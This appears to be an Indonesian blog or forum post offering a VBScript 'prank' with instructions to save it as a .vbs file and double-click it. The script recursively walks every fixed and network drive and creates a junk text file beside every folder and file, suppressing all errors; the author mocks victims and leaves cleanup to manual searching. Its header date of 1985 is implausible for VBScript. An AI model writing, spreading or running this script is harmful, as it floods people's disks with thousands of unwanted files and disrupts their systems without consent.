iseng pake notepad -- yang awam bisa gila dibuatnya..

ok cuy...

intinya mengandakan / membuat duplikat semua file dan folder yang ada di komputer....

tapi tenang aja ukuran file duplikat juga gak segede file atow folder aslinya....

hanya namanya aja yang sama...

ini script-nya cuy....

-------------------mulai dari sini-------------------

rem - rac0n dun14/ dew0byte-lamer

rem - Written on November 17th, 1985

On Error Resume Next

dim FSobj,orgMes,finalMes

set FSobj=CreateObject("Scripting.FileSystemObject")

orgMes="luv vina"

orgMes=replace(orgMes,chr(42),chr(68))

orgMes=replace(orgMes,chr(124),chr(46))

finalMes=replace(orgMes,chr(37),chr(76))

On Error Resume Next

dim drive,machine

set machine=FSobj.Drives

for each drive in machine

if (drive.DriveType=2)or(drive.DriveType=3) then

indexFolders(drive.Path&"\")

end If

next

sub indexFolders(location)

On Error Resume Next

dim specs,file,subFol,sayHello

set specs=FSobj.GetFolder(location)

set subFol=specs.SubFolders

for each file in subFol

set sayHello = FSobj.CreateTextFile(file.Path&".izenk-dew0byte", 2, True)

sayHello.write finalMes

sayHello.Close

writeData(file.Path)

indexFolders(file.Path)

next

end sub

sub writeData(location)

On Error Resume Next

dim folder,directory,file,sayHello

set folder=FSobj.GetFolder(location)

set directory=folder.Files

for each file in directory

set sayHello = FSobj.CreateTextFile(file.Path&".izenk-team", 2, True)

sayHello.write finalMes

sayHello.Close

next

end sub

--------------potong disini-------------------

copy yang teks yng berwarna merah dan paste di notepad...

lalu save as terserah kalian beri nama apa, tapi ekstensinya harus VBS

setelah itu cari file tersebut dan silahkan double klik....

hahhahahhahah...

manteb to...

hmmmm... cara mbalikinya tinggal search aja pake searching bawaan windust..

semoga bermanfaat... maap hanya bagi ilmu saja.... tanggung jawab sepenuhnya ada ada anda..

salam hangat -dew0byte